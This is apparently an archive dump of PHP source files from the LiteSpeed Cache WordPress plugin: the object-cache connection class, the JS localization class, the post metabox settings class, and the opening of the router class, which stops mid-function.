	 */
	const O_OBJECT_GLOBAL_GROUPS = 'object-global_groups';

	/**
	 * Non-persistent groups list.
	 *
	 * @var string
	 */
	const O_OBJECT_NON_PERSISTENT_GROUPS = 'object-non_persistent_groups';

	/**
	 * Connection instance.
	 *
	 * @var \Redis|\Memcached|null
	 */
	private $_conn;

	/**
	 * Debug config.
	 *
	 * @var bool
	 */
	private $_cfg_debug;

	/**
	 * Whether OC is enabled.
	 *
	 * @var bool
	 */
	private $_cfg_enabled;

	/**
	 * True => Redis, false => Memcached.
	 *
	 * @var bool
	 */
	private $_cfg_method;

	/**
	 * Host name.
	 *
	 * @var string
	 */
	private $_cfg_host;

	/**
	 * Port number.
	 *
	 * @var int|string
	 */
	private $_cfg_port;

	/**
	 * TTL in seconds.
	 *
	 * @var int
	 */
	private $_cfg_life;

	/**
	 * Use persistent connection.
	 *
	 * @var bool
	 */
	private $_cfg_persistent;

	/**
	 * Cache admin pages.
	 *
	 * @var bool
	 */
	private $_cfg_admin;

	/**
	 * Store transients.
	 *
	 * @var bool
	 */
	private $_cfg_transients;

	/**
	 * Redis DB index.
	 *
	 * @var int
	 */
	private $_cfg_db;

	/**
	 * Auth username.
	 *
	 * @var string
	 */
	private $_cfg_user;

	/**
	 * Auth password.
	 *
	 * @var string
	 */
	private $_cfg_pswd;

	/**
	 * Default TTL in seconds.
	 *
	 * @var int
	 */
	private $_default_life = 360;

	/**
	 * 'Redis' or 'Memcached'.
	 *
	 * @var string
	 */
	private $_oc_driver = 'Memcached'; // Redis or Memcached.

	/**
	 * Global groups.
	 *
	 * @var array
	 */
	private $_global_groups = array();

	/**
	 * Non-persistent groups.
	 *
	 * @var array
	 */
	private $_non_persistent_groups = array();

	/**
	 * Init.
	 *
	 * NOTE: this class may be included without initialized core.
	 *
	 * @since  1.8
	 *
	 * @param array|false $cfg Optional configuration to bootstrap without core.
	 */
	public function __construct( $cfg = false ) {
		if ( $cfg ) {
			if ( ! is_array( $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ] ) ) {
				$cfg[ Base::O_OBJECT_GLOBAL_GROUPS ] = explode( "\n", $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ] );
			}
			if ( ! is_array( $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ] ) ) {
				$cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ] = explode( "\n", $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ] );
			}
			$this->_cfg_debug             = $cfg[ Base::O_DEBUG ] ? $cfg[ Base::O_DEBUG ] : false;
			$this->_cfg_method            = $cfg[ Base::O_OBJECT_KIND ] ? true : false;
			$this->_cfg_host              = $cfg[ Base::O_OBJECT_HOST ];
			$this->_cfg_port              = $cfg[ Base::O_OBJECT_PORT ];
			$this->_cfg_life              = $cfg[ Base::O_OBJECT_LIFE ];
			$this->_cfg_persistent        = $cfg[ Base::O_OBJECT_PERSISTENT ];
			$this->_cfg_admin             = $cfg[ Base::O_OBJECT_ADMIN ];
			$this->_cfg_transients        = $cfg[ Base::O_OBJECT_TRANSIENTS ];
			$this->_cfg_db                = $cfg[ Base::O_OBJECT_DB_ID ];
			$this->_cfg_user              = $cfg[ Base::O_OBJECT_USER ];
			$this->_cfg_pswd              = $cfg[ Base::O_OBJECT_PSWD ];
			$this->_global_groups         = $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ];
			$this->_non_persistent_groups = $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ];

			if ( $this->_cfg_method ) {
				$this->_oc_driver = 'Redis';
			}
			$this->_cfg_enabled = $cfg[ Base::O_OBJECT ] && class_exists( $this->_oc_driver ) && $this->_cfg_host;
		} elseif ( defined( 'LITESPEED_CONF_LOADED' ) ) { // If OC is OFF, will hit here to init OC after conf initialized
			$this->_cfg_debug             = $this->conf( Base::O_DEBUG ) ? $this->conf( Base::O_DEBUG ) : false;
			$this->_cfg_method            = $this->conf( Base::O_OBJECT_KIND ) ? true : false;
			$this->_cfg_host              = $this->conf( Base::O_OBJECT_HOST );
			$this->_cfg_port              = $this->conf( Base::O_OBJECT_PORT );
			$this->_cfg_life              = $this->conf( Base::O_OBJECT_LIFE );
			$this->_cfg_persistent        = $this->conf( Base::O_OBJECT_PERSISTENT );
			$this->_cfg_admin             = $this->conf( Base::O_OBJECT_ADMIN );
			$this->_cfg_transients        = $this->conf( Base::O_OBJECT_TRANSIENTS );
			$this->_cfg_db                = $this->conf( Base::O_OBJECT_DB_ID );
			$this->_cfg_user              = $this->conf( Base::O_OBJECT_USER );
			$this->_cfg_pswd              = $this->conf( Base::O_OBJECT_PSWD );
			$this->_global_groups         = $this->conf( Base::O_OBJECT_GLOBAL_GROUPS );
			$this->_non_persistent_groups = $this->conf( Base::O_OBJECT_NON_PERSISTENT_GROUPS );

			if ( $this->_cfg_method ) {
				$this->_oc_driver = 'Redis';
			}
			$this->_cfg_enabled = $this->conf( Base::O_OBJECT ) && class_exists( $this->_oc_driver ) && $this->_cfg_host;
		} elseif ( defined( 'self::CONF_FILE' ) && file_exists( WP_CONTENT_DIR . '/' . self::CONF_FILE ) ) {
			// Get cfg from _data_file.
			// Use self::const to avoid loading more classes.
			$cfg = \json_decode( file_get_contents( WP_CONTENT_DIR . '/' . self::CONF_FILE ), true );
			if ( ! empty( $cfg[ self::O_OBJECT_HOST ] ) ) {
				$this->_cfg_debug             = ! empty( $cfg[ Base::O_DEBUG ] ) ? $cfg[ Base::O_DEBUG ] : false;
				$this->_cfg_method            = ! empty( $cfg[ self::O_OBJECT_KIND ] ) ? $cfg[ self::O_OBJECT_KIND ] : false;
				$this->_cfg_host              = $cfg[ self::O_OBJECT_HOST ];
				$this->_cfg_port              = $cfg[ self::O_OBJECT_PORT ];
				$this->_cfg_life              = ! empty( $cfg[ self::O_OBJECT_LIFE ] ) ? $cfg[ self::O_OBJECT_LIFE ] : $this->_default_life;
				$this->_cfg_persistent        = ! empty( $cfg[ self::O_OBJECT_PERSISTENT ] ) ? $cfg[ self::O_OBJECT_PERSISTENT ] : false;
				$this->_cfg_admin             = ! empty( $cfg[ self::O_OBJECT_ADMIN ] ) ? $cfg[ self::O_OBJECT_ADMIN ] : false;
				$this->_cfg_transients        = ! empty( $cfg[ self::O_OBJECT_TRANSIENTS ] ) ? $cfg[ self::O_OBJECT_TRANSIENTS ] : false;
				$this->_cfg_db                = ! empty( $cfg[ self::O_OBJECT_DB_ID ] ) ? $cfg[ self::O_OBJECT_DB_ID ] : 0;
				$this->_cfg_user              = ! empty( $cfg[ self::O_OBJECT_USER ] ) ? $cfg[ self::O_OBJECT_USER ] : '';
				$this->_cfg_pswd              = ! empty( $cfg[ self::O_OBJECT_PSWD ] ) ? $cfg[ self::O_OBJECT_PSWD ] : '';
				$this->_global_groups         = ! empty( $cfg[ self::O_OBJECT_GLOBAL_GROUPS ] ) ? $cfg[ self::O_OBJECT_GLOBAL_GROUPS ] : array();
				$this->_non_persistent_groups = ! empty( $cfg[ self::O_OBJECT_NON_PERSISTENT_GROUPS ] ) ? $cfg[ self::O_OBJECT_NON_PERSISTENT_GROUPS ] : array();

				if ( $this->_cfg_method ) {
					$this->_oc_driver = 'Redis';
				}
				$this->_cfg_enabled = class_exists( $this->_oc_driver ) && $this->_cfg_host;
			} else {
				$this->_cfg_enabled = false;
			}
		} else {
			$this->_cfg_enabled = false;
		}
	}

	/**
	 * Add debug.
	 *
	 * @since  6.3
	 * @access private
	 *
	 * @param string $text Log text.
	 * @return void
	 */
	private function debug_oc( $text ) {
		if ( defined( 'LSCWP_LOG' ) ) {
			self::debug( $text );
			return;
		}

		if ( Base::VAL_ON2 !== $this->_cfg_debug ) {
			return;
		}

		$litespeed_data_folder = defined( 'LITESPEED_DATA_FOLDER' ) ? LITESPEED_DATA_FOLDER : 'litespeed';
		$lscwp_content_dir     = defined( 'LSCWP_CONTENT_DIR' ) ? LSCWP_CONTENT_DIR : WP_CONTENT_DIR;
		$litespeed_static_dir  = $lscwp_content_dir . '/' . $litespeed_data_folder;
		$log_path_prefix       = $litespeed_static_dir . '/debug/';
		$log_file              = $log_path_prefix . Debug2::FilePath( 'debug' );

		if ( file_exists( $log_path_prefix . 'index.php' ) && file_exists( $log_file ) ) {
			// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
			error_log(gmdate('m/d/y H:i:s') . ' - OC - ' . $text . PHP_EOL, 3, $log_file);
		}
	}

	/**
	 * Get `Store Transients` setting value.
	 *
	 * @since  1.8.3
	 * @access public
	 *
	 * @param string $group Group name.
	 * @return bool
	 */
	public function store_transients( $group ) {
		return $this->_cfg_transients && $this->_is_transients_group( $group );
	}

	/**
	 * Check if the group belongs to transients or not.
	 *
	 * @since  1.8.3
	 * @access private
	 *
	 * @param string $group Group name.
	 * @return bool
	 */
	private function _is_transients_group( $group ) {
		return in_array( $group, array( 'transient', 'site-transient' ), true );
	}

	/**
	 * Update WP object cache file config.
	 *
	 * @since  1.8
	 * @access public
	 *
	 * @param array $options Options to apply after update.
	 * @return void
	 */
	public function update_file( $options ) {
		$changed = false;

		// NOTE: When included in oc.php, `LSCWP_DIR` will show undefined, so this must be assigned/generated when used.
		$_oc_ori_file = LSCWP_DIR . 'lib/object-cache.php';
		$_oc_wp_file  = WP_CONTENT_DIR . '/object-cache.php';

		// Update cls file.
		if ( ! file_exists( $_oc_wp_file ) || md5_file( $_oc_wp_file ) !== md5_file( $_oc_ori_file ) ) {
			$this->debug_oc( 'copying object-cache.php file to ' . $_oc_wp_file );
			copy( $_oc_ori_file, $_oc_wp_file );
			$changed = true;
		}

		/**
		 * Clear object cache.
		 */
		if ( $changed ) {
			$this->_reconnect( $options );
		}
	}

	/**
	 * Remove object cache file.
	 *
	 * @since  1.8.2
	 * @access public
	 *
	 * @return void
	 */
	public function del_file() {
		// NOTE: When included in oc.php, `LSCWP_DIR` will show undefined, so this must be assigned/generated when used.
		$_oc_ori_file = LSCWP_DIR . 'lib/object-cache.php';
		$_oc_wp_file  = WP_CONTENT_DIR . '/object-cache.php';

		if ( file_exists( $_oc_wp_file ) && md5_file( $_oc_wp_file ) === md5_file( $_oc_ori_file ) ) {
			$this->debug_oc( 'removing ' . $_oc_wp_file );
			wp_delete_file( $_oc_wp_file );
		}
	}

	/**
	 * Try to build connection.
	 *
	 * @since  1.8
	 * @access public
	 *
	 * @return bool|null False on failure, true on success, null if unsupported.
	 */
	public function test_connection() {
		return $this->_connect();
	}

	/**
	 * Force to connect with this setting.
	 *
	 * @since  1.8
	 * @access private
	 *
	 * @param array $cfg Reconnect configuration.
	 * @return void
	 */
	private function _reconnect( $cfg ) {
		$this->debug_oc( 'Reconnecting' );
		if ( isset( $this->_conn ) ) {
			// error_log( 'Object: Quitting existing connection!' );
			$this->debug_oc( 'Quitting existing connection' );
			$this->flush();
			$this->_conn = null;
			$this->cls( false, true );
		}

		$cls = $this->cls( false, false, $cfg );
		$cls->_connect();
		if ( isset( $cls->_conn ) ) {
			$cls->flush();
		}
	}

	/**
	 * Connect to Memcached/Redis server.
	 *
	 * @since  1.8
	 * @access private
	 *
	 * @return bool|null False on failure, true on success, null if driver missing.
	 */
	private function _connect() {
		if ( isset( $this->_conn ) ) {
			// error_log( 'Object: _connected' );
			return true;
		}

		if ( ! class_exists( $this->_oc_driver ) || ! $this->_cfg_host ) {
			$this->debug_oc( '_oc_driver cls non existed or _cfg_host missed: ' . $this->_oc_driver . ' [_cfg_host] ' . $this->_cfg_host . ':' . $this->_cfg_port );
			return null;
		}

		if ( defined( 'LITESPEED_OC_FAILURE' ) ) {
			$this->debug_oc( 'LITESPEED_OC_FAILURE const defined' );
			return false;
		}

		$this->debug_oc( 'Init ' . $this->_oc_driver . ' connection to ' . $this->_cfg_host . ':' . $this->_cfg_port );

		$failed = false;

		/**
		 * Connect to Redis.
		 *
		 * @since  1.8.1
		 * @see https://github.com/phpredis/phpredis/#example-1
		 */
		if ( 'Redis' === $this->_oc_driver ) {
			// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler
			set_error_handler( 'litespeed_exception_handler' );
			try {
				$this->_conn = new \Redis();
				// error_log( 'Object: _connect Redis' );

				if ( $this->_cfg_persistent ) {
					if ( $this->_cfg_port ) {
						$this->_conn->pconnect( $this->_cfg_host, $this->_cfg_port );
					} else {
						$this->_conn->pconnect( $this->_cfg_host );
					}
				} elseif ( $this->_cfg_port ) {
					$this->_conn->connect( $this->_cfg_host, $this->_cfg_port );
				} else {
					$this->_conn->connect( $this->_cfg_host );
				}

				if ( $this->_cfg_pswd ) {
					if ( $this->_cfg_user ) {
						$this->_conn->auth( array( $this->_cfg_user, $this->_cfg_pswd ) );
					} else {
						$this->_conn->auth( $this->_cfg_pswd );
					}
				}

				if (defined('Redis::OPT_REPLY_LITERAL')) {
					$this->debug_oc( 'Redis set OPT_REPLY_LITERAL' );
					$this->_conn->setOption(\Redis::OPT_REPLY_LITERAL, true);
				}

				if ( $this->_cfg_db ) {
					$this->_conn->select( $this->_cfg_db );
				}

				$res = $this->_conn->rawCommand('PING');

				if ( 'PONG' !== $res ) {
					$this->debug_oc( 'Redis resp is wrong: ' . $res );
					$failed = true;
				}
			} catch ( \Exception $e ) {
				$this->debug_oc( 'Redis connect exception: ' . $e->getMessage() );
				$failed = true;
			} catch ( \ErrorException $e ) {
				$this->debug_oc( 'Redis connect error: ' . $e->getMessage() );
				$failed = true;
			}
			restore_error_handler();
		} else {
			// Connect to Memcached.
			if ( $this->_cfg_persistent ) {
				$this->_conn = new \Memcached( $this->_get_mem_id() );

				// Check memcached persistent connection.
				if ( $this->_validate_mem_server() ) {
					// error_log( 'Object: _validate_mem_server' );
					$this->debug_oc( 'Got persistent ' . $this->_oc_driver . ' connection' );
					return true;
				}

				$this->debug_oc( 'No persistent ' . $this->_oc_driver . ' server list!' );
			} else {
				// error_log( 'Object: new memcached!' );
				$this->_conn = new \Memcached();
			}

			$this->_conn->addServer( $this->_cfg_host, (int) $this->_cfg_port );

			/**
			 * Add SASL auth.
			 *
			 * @since  1.8.1
			 * @since  2.9.6 Fixed SASL connection @see https://www.litespeedtech.com/support/wiki/doku.php/litespeed_wiki:lsmcd:new_sasl
			 */
			if ( $this->_cfg_user && $this->_cfg_pswd && method_exists( $this->_conn, 'setSaslAuthData' ) ) {
				$this->_conn->setOption( \Memcached::OPT_BINARY_PROTOCOL, true );
				$this->_conn->setOption( \Memcached::OPT_COMPRESSION, false );
				$this->_conn->setSaslAuthData( $this->_cfg_user, $this->_cfg_pswd );
			}

			// Check connection.
			if ( ! $this->_validate_mem_server() ) {
				$failed = true;
			}
		}

		// If failed to connect.
		if ( $failed ) {
			$this->debug_oc( '❌ Failed to connect ' . $this->_oc_driver . ' server!' );
			$this->_conn        = null;
			$this->_cfg_enabled = false;
			! defined( 'LITESPEED_OC_FAILURE' ) && define( 'LITESPEED_OC_FAILURE', true );
			// error_log( 'Object: false!' );
			return false;
		}

		$this->debug_oc( '✅ Connected to ' . $this->_oc_driver . ' server.' );

		return true;
	}

	/**
	 * Check if the connected memcached host is the one in cfg.
	 *
	 * @since  1.8
	 * @access private
	 *
	 * @return bool
	 */
	private function _validate_mem_server() {
		$mem_list = $this->_conn->getStats();
		if ( empty( $mem_list ) ) {
			return false;
		}

		foreach ( $mem_list as $k => $v ) {
			if ( substr( $k, 0, strlen( $this->_cfg_host ) ) !== $this->_cfg_host ) {
				continue;
			}
			if ( ! empty( $v['pid'] ) || ! empty( $v['curr_connections'] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Get memcached unique id to be used for connecting.
	 *
	 * @since  1.8
	 * @access private
	 *
	 * @return string
	 */
	private function _get_mem_id() {
		$mem_id = 'litespeed';
		if ( is_multisite() ) {
			$mem_id .= '_' . get_current_blog_id();
		}

		return $mem_id;
	}

	/**
	 * Get cache.
	 *
	 * @since  1.8
	 * @access public
	 *
	 * @param string $key Cache key.
	 * @return mixed|null
	 */
	public function get( $key ) {
		if ( ! $this->_cfg_enabled ) {
			return null;
		}

		if ( ! $this->_can_cache() ) {
			return null;
		}

		if ( ! $this->_connect() ) {
			return null;
		}

		$res = $this->_conn->get( $key );

		return $res;
	}

	/**
	 * Set cache.
	 *
	 * @since  1.8
	 * @access public
	 *
	 * @param string $key    Cache key.
	 * @param mixed  $data   Data to store.
	 * @param int    $expire TTL seconds.
	 * @return bool|null
	 */
	public function set( $key, $data, $expire ) {
		if ( ! $this->_cfg_enabled ) {
			return null;
		}

		/**
		 * To fix the Cloud callback cached as its frontend call but the hash is generated in backend
		 * Bug found by Stan at Jan/10/2020
		 */
		// if ( ! $this->_can_cache() ) {
		// return null;
		// }

		if ( ! $this->_connect() ) {
			return null;
		}

		$ttl = $expire ? $expire : $this->_cfg_life;

		if ( 'Redis' === $this->_oc_driver ) {
			try {
				$res = $this->_conn->setEx( $key, $ttl, $data );
			} catch ( \RedisException $ex ) {
				$res = false;
				$msg = sprintf( __( 'Redis encountered a fatal error: %1$s (code: %2$d)', 'litespeed-cache' ), $ex->getMessage(), $ex->getCode() );
				$this->debug_oc( $msg );
				Admin_Display::error( $msg );
			}
		} else {
			$res = $this->_conn->set( $key, $data, $ttl );
		}

		return $res;
	}

	/**
	 * Check if can cache or not.
	 *
	 * @since  1.8
	 * @access private
	 *
	 * @return bool
	 */
	private function _can_cache() {
		if ( ! $this->_cfg_admin && defined( 'WP_ADMIN' ) ) {
			return false;
		}
		return true;
	}

	/**
	 * Delete cache.
	 *
	 * @since  1.8
	 * @access public
	 *
	 * @param string $key Cache key.
	 * @return bool|null
	 */
	public function delete( $key ) {
		if ( ! $this->_cfg_enabled ) {
			return null;
		}

		if ( ! $this->_connect() ) {
			return null;
		}

		if ( 'Redis' === $this->_oc_driver ) {
			$res = $this->_conn->del( $key );
		} else {
			$res = $this->_conn->delete( $key );
		}

		return (bool) $res;
	}

	/**
	 * Clear all cache.
	 *
	 * @since  1.8
	 * @access public
	 *
	 * @return bool|null
	 */
	public function flush() {
		if ( ! $this->_cfg_enabled ) {
			$this->debug_oc( 'bypass flushing' );
			return null;
		}

		if ( ! $this->_connect() ) {
			return null;
		}

		$this->debug_oc( 'flush!' );

		if ( 'Redis' === $this->_oc_driver ) {
			$res = $this->_conn->flushDb();
		} else {
			$res = $this->_conn->flush();
			$this->_conn->resetServerList();
		}

		return $res;
	}

	/**
	 * Add global groups.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @param string|string[] $groups Group(s) to add.
	 * @return void
	 */
	public function add_global_groups( $groups ) {
		if ( ! is_array( $groups ) ) {
			$groups = array( $groups );
		}

		$this->_global_groups = array_merge( $this->_global_groups, $groups );
		$this->_global_groups = array_unique( $this->_global_groups );
	}

	/**
	 * Check if is in global groups or not.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @param string $group Group name.
	 * @return bool
	 */
	public function is_global( $group ) {
		return in_array( $group, $this->_global_groups, true );
	}

	/**
	 * Add non persistent groups.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @param string|string[] $groups Group(s) to add.
	 * @return void
	 */
	public function add_non_persistent_groups( $groups ) {
		if ( ! is_array( $groups ) ) {
			$groups = array( $groups );
		}

		$this->_non_persistent_groups = array_merge( $this->_non_persistent_groups, $groups );
		$this->_non_persistent_groups = array_unique( $this->_non_persistent_groups );
	}

	/**
	 * Check if is in non persistent groups or not.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @param string $group Group name.
	 * @return bool
	 */
	public function is_non_persistent( $group ) {
		return in_array( $group, $this->_non_persistent_groups, true );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/localization.cls.php000064400000006702151031165260021044 0ustar00<?php
// phpcs:ignoreFile

/**
 * The localization class.
 *
 * @since       3.3
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Localization extends Base {

	const LOG_TAG = '🛍️';

	/**
	 * Init optimizer
	 *
	 * @since  3.0
	 * @access protected
	 */
	public function init() {
		add_filter('litespeed_buffer_finalize', array( $this, 'finalize' ), 23); // After page optm
	}

	/**
	 * Localize Resources
	 *
	 * @since  3.3
	 */
	public function serve_static( $uri ) {
		$url = base64_decode($uri);

		if (!$this->conf(self::O_OPTM_LOCALIZE)) {
			// wp_redirect( $url );
			exit('Not supported');
		}

		if (substr($url, -3) !== '.js') {
			// wp_redirect( $url );
			// exit( 'Not supported ' . $uri );
		}

		$match   = false;
		$domains = $this->conf(self::O_OPTM_LOCALIZE_DOMAINS);
		foreach ($domains as $v) {
			if (!$v || strpos($v, '#') === 0) {
				continue;
			}

			$type   = 'js';
			$domain = $v;
			// Try to parse space split value
			if (strpos($v, ' ')) {
				$v = explode(' ', $v);
				if (!empty($v[1])) {
					$type   = strtolower($v[0]);
					$domain = $v[1];
				}
			}

			if (strpos($domain, 'https://') !== 0) {
				continue;
			}

			if ($type != 'js') {
				continue;
			}

			// if ( strpos( $url, $domain ) !== 0 ) {
			if ($url != $domain) {
				continue;
			}

			$match = true;
			break;
		}

		if (!$match) {
			// wp_redirect( $url );
			exit('Not supported2');
		}

		header('Content-Type: application/javascript');

		// Generate
		$this->_maybe_mk_cache_folder('localres');

		$file = $this->_realpath($url);

		self::debug('localize [url] ' . $url);
		$response = wp_safe_remote_get($url, array(
			'timeout' => 180,
			'stream' => true,
			'filename' => $file,
		));

		// Parse response data
		if (is_wp_error($response)) {
			$error_message = $response->get_error_message();
			file_exists($file) && unlink($file);
			self::debug('failed to get: ' . $error_message);
			wp_redirect($url);
			exit();
		}

		$url = $this->_rewrite($url);

		wp_redirect($url);
		exit();
	}

	/**
	 * Get the final URL of local avatar
	 *
	 * @since  4.5
	 */
	private function _rewrite( $url ) {
		return LITESPEED_STATIC_URL . '/localres/' . $this->_filepath($url);
	}

	/**
	 * Generate realpath of the cache file
	 *
	 * @since  4.5
	 * @access private
	 */
	private function _realpath( $url ) {
		return LITESPEED_STATIC_DIR . '/localres/' . $this->_filepath($url);
	}

	/**
	 * Get filepath
	 *
	 * @since  4.5
	 */
	private function _filepath( $url ) {
		$filename = md5($url) . '.js';
		if (is_multisite()) {
			$filename = get_current_blog_id() . '/' . $filename;
		}
		return $filename;
	}

	/**
	 * Localize JS/Fonts
	 *
	 * @since 3.3
	 * @access public
	 */
	public function finalize( $content ) {
		if (is_admin()) {
			return $content;
		}

		if (!$this->conf(self::O_OPTM_LOCALIZE)) {
			return $content;
		}

		$domains = $this->conf(self::O_OPTM_LOCALIZE_DOMAINS);
		if (!$domains) {
			return $content;
		}

		foreach ($domains as $v) {
			if (!$v || strpos($v, '#') === 0) {
				continue;
			}

			$type   = 'js';
			$domain = $v;
			// Try to parse space split value
			if (strpos($v, ' ')) {
				$v = explode(' ', $v);
				if (!empty($v[1])) {
					$type   = strtolower($v[0]);
					$domain = $v[1];
				}
			}

			if (strpos($domain, 'https://') !== 0) {
				continue;
			}

			if ($type != 'js') {
				continue;
			}

			$content = str_replace($domain, LITESPEED_STATIC_URL . '/localres/' . base64_encode($domain), $content);
		}

		return $content;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/metabox.cls.php000064400000010255151031165260020011 0ustar00<?php
// phpcs:ignoreFile
/**
 * The class to operate post editor metabox settings
 *
 * @since       4.7
 * @package     LiteSpeed
 */
namespace LiteSpeed;

defined('WPINC') || exit();

class Metabox extends Root {

	const LOG_TAG = '📦';

	const POST_NONCE_ACTION = 'post_nonce_action';

	private $_postmeta_settings;

	/**
	 * Get the setting list
	 *
	 * @since 4.7
	 */
	public function __construct() {
		// Append meta box
		$this->_postmeta_settings = array(
			'litespeed_no_cache' => __('Disable Cache', 'litespeed-cache'),
			'litespeed_no_image_lazy' => __('Disable Image Lazyload', 'litespeed-cache'),
			'litespeed_no_vpi' => __('Disable VPI', 'litespeed-cache'),
			'litespeed_vpi_list' => __('Viewport Images', 'litespeed-cache'),
			'litespeed_vpi_list_mobile' => __('Viewport Images', 'litespeed-cache') . ' - ' . __('Mobile', 'litespeed-cache'),
		);
	}

	/**
	 * Register post edit settings
	 *
	 * @since 4.7
	 */
	public function register_settings() {
		add_action('add_meta_boxes', array( $this, 'add_meta_boxes' ));
		add_action('save_post', array( $this, 'save_meta_box_settings' ), 15, 2);
		add_action('attachment_updated', array( $this, 'save_meta_box_settings' ), 15, 2);
	}

	/**
	 * Register meta box
	 *
	 * @since 4.7
	 */
	public function add_meta_boxes( $post_type ) {
		if (apply_filters('litespeed_bypass_metabox', false, $post_type)) {
			return;
		}
		$post_type_obj = get_post_type_object($post_type);
		if (!empty($post_type_obj) && !$post_type_obj->public) {
			self::debug('post type public=false, bypass add_meta_boxes');
			return;
		}
		add_meta_box('litespeed_meta_boxes', 'LiteSpeed', array( $this, 'meta_box_options' ), $post_type, 'side', 'core');
	}

	/**
	 * Show meta box content
	 *
	 * @since 4.7
	 */
	public function meta_box_options() {
		require_once LSCWP_DIR . 'tpl/inc/metabox.php';
	}

	/**
	 * Save settings
	 *
	 * @since 4.7
	 */
	public function save_meta_box_settings( $post_id, $post ) {
		global $pagenow;

		self::debug('Maybe save post2 [post_id] ' . $post_id);

		if ($pagenow != 'post.php' || !$post || !is_object($post)) {
			return;
		}

		if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
			return;
		}

		if (!$this->cls('Router')->verify_nonce(self::POST_NONCE_ACTION)) {
			return;
		}

		self::debug('Saving post [post_id] ' . $post_id);

		foreach ($this->_postmeta_settings as $k => $v) {
			$val = isset($_POST[$k]) ? $_POST[$k] : false;
			$this->save($post_id, $k, $val);
		}
	}

	/**
	 * Load setting per post
	 *
	 * @since 4.7
	 */
	public function setting( $conf, $post_id = false ) {
		// Check if has metabox non-cacheable setting or not
		if (!$post_id) {
			$home_id = get_option('page_for_posts');
			if (is_singular()) {
				$post_id = get_the_ID();
			} elseif ($home_id > 0 && is_home()) {
				$post_id = $home_id;
			}
		}

		if ($post_id && ($val = get_post_meta($post_id, $conf, true))) {
			return $val;
		}

		return null;
	}

	/**
	 * Save a metabox value
	 *
	 * @since 4.7
	 */
	public function save( $post_id, $name, $val, $is_append = false ) {
		if (strpos($name, 'litespeed_vpi_list') !== false) {
			$val = Utility::sanitize_lines($val, 'basename,drop_webp');
		}

		// Load existing data if has set
		if ($is_append) {
			$existing_data = $this->setting($name, $post_id);
			if ($existing_data) {
				$existing_data = Utility::sanitize_lines($existing_data, 'basename');
				$val           = array_unique(array_merge($val, $existing_data));
			}
		}

		if ($val) {
			update_post_meta($post_id, $name, $val);
		} else {
			delete_post_meta($post_id, $name);
		}
	}

	/**
	 * Load exclude images per post
	 *
	 * @since 4.7
	 */
	public function lazy_img_excludes( $list ) {
		$is_mobile = $this->_separate_mobile();
		$excludes  = $this->setting($is_mobile ? 'litespeed_vpi_list_mobile' : 'litespeed_vpi_list');
		if ($excludes !== null) {
			$excludes = Utility::sanitize_lines($excludes, 'basename');
			if ($excludes) {
				// Check if contains `data:` (invalid result, need to clear existing result) or not
				if (Utility::str_hit_array('data:', $excludes)) {
					$this->cls('VPI')->add_to_queue();
				} else {
					return array_merge($list, $excludes);
				}
			}

			return $list;
		}

		$this->cls('VPI')->add_to_queue();

		return $list;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/router.cls.php000064400000051106151031165260017672 0ustar00<?php
// phpcs:ignoreFile

/**
 * The core plugin router class.
 *
 * This generate the valid action.
 *
 * @since       1.1.0
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Router extends Base {

	const LOG_TAG = '[Router]';

	const NONCE  = 'LSCWP_NONCE';
	const ACTION = 'LSCWP_CTRL';

	const ACTION_SAVE_SETTINGS_NETWORK = 'save-settings-network';
	const ACTION_DB_OPTM               = 'db_optm';
	const ACTION_PLACEHOLDER           = 'placeholder';
	const ACTION_AVATAR                = 'avatar';
	const ACTION_SAVE_SETTINGS         = 'save-settings';
	const ACTION_CLOUD                 = 'cloud';
	const ACTION_IMG_OPTM              = 'img_optm';
	const ACTION_HEALTH                = 'health';
	const ACTION_CRAWLER               = 'crawler';
	const ACTION_PURGE                 = 'purge';
	const ACTION_CONF                  = 'conf';
	const ACTION_ACTIVATION            = 'activation';
	const ACTION_CSS                   = 'css';
	const ACTION_UCSS                  = 'ucss';
	const ACTION_VPI                   = 'vpi';
	const ACTION_PRESET                = 'preset';
	const ACTION_IMPORT                = 'import';
	const ACTION_REPORT                = 'report';
	const ACTION_DEBUG2                = 'debug2';
	const ACTION_CDN_CLOUDFLARE        = 'CDN\Cloudflare';
	const ACTION_ADMIN_DISPLAY         = 'admin_display';
	const ACTION_TMP_DISABLE          = 'tmp_disable';

	// List all handlers here
	private static $_HANDLERS = array(
		self::ACTION_ADMIN_DISPLAY,
		self::ACTION_ACTIVATION,
		self::ACTION_AVATAR,
		self::ACTION_CDN_CLOUDFLARE,
		self::ACTION_CLOUD,
		self::ACTION_CONF,
		self::ACTION_CRAWLER,
		self::ACTION_CSS,
		self::ACTION_UCSS,
		self::ACTION_VPI,
		self::ACTION_DB_OPTM,
		self::ACTION_DEBUG2,
		self::ACTION_HEALTH,
		self::ACTION_IMG_OPTM,
		self::ACTION_PRESET,
		self::ACTION_IMPORT,
		self::ACTION_PLACEHOLDER,
		self::ACTION_PURGE,
		self::ACTION_REPORT,
	);

	const TYPE = 'litespeed_type';

	const ITEM_HASH       = 'hash';
	const ITEM_FLASH_HASH = 'flash_hash';

	private static $_esi_enabled;
	private static $_is_ajax;
	private static $_is_logged_in;
	private static $_ip;
	private static $_action;
	private static $_is_admin_ip;
	private static $_frontend_path;

	/**
	 * Redirect to self to continue operation
	 *
	 * Note: must return when use this func. CLI/Cron call won't die in this func.
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function self_redirect( $action, $type ) {
